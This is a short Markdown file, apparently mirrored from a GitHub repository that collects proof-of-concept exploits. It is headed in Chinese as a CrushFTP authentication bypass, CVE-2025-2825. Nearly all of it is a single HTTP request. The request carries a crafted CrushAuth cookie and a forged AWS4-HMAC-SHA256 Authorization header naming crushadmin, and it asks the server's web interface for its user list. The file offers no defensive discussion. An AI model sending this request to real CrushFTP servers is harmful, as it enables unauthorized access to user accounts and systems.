mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
14 lines
373 B
Markdown
14 lines
373 B
Markdown
|
|
## CrushFTP身份验证绕过(CVE-2025-2825)
|
|
|
|
## poc
|
|
```javascript
|
|
GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
|
|
Host: target-server:8081
|
|
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
|
|
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
|
|
|
|
```
|
|
|
|
|